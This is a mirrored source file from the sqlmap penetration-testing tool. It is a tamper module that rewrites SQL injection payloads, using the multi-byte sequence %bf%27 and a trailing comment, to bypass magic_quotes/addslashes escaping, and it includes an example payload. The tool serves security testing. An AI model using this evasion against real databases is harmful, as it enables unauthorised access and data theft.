mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-27 03:53:48 +03:00
52 lines
1.1 KiB
Python
52 lines
1.1 KiB
Python
#!/usr/bin/env python
|
|
|
|
"""
|
|
Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
|
|
See the file 'doc/COPYING' for copying permission
|
|
"""
|
|
|
|
import re
|
|
|
|
from lib.core.enums import PRIORITY
|
|
|
|
__priority__ = PRIORITY.NORMAL
|
|
|
|
def dependencies():
|
|
pass
|
|
|
|
def tamper(payload, **kwargs):
|
|
"""
|
|
Replaces quote character (') with a multi-byte combo %bf%27 together with
|
|
generic comment at the end (to make it work)
|
|
|
|
Example:
|
|
* Input: 1' AND 1=1
|
|
* Output: 1%bf%27 AND 1=1--%20
|
|
|
|
Notes:
|
|
* Useful for bypassing magic_quotes/addslashes feature
|
|
|
|
Reference:
|
|
* http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string
|
|
"""
|
|
|
|
retVal = payload
|
|
|
|
if payload:
|
|
found = False
|
|
retVal = ""
|
|
|
|
for i in xrange(len(payload)):
|
|
if payload[i] == '\'' and not found:
|
|
retVal += "%bf%27"
|
|
found = True
|
|
else:
|
|
retVal += payload[i]
|
|
continue
|
|
|
|
if found:
|
|
retVal = re.sub("\s*(AND|OR)[\s(]+'[^']+'\s*(=|LIKE)\s*'.*", "", retVal)
|
|
retVal += "-- "
|
|
|
|
return retVal
|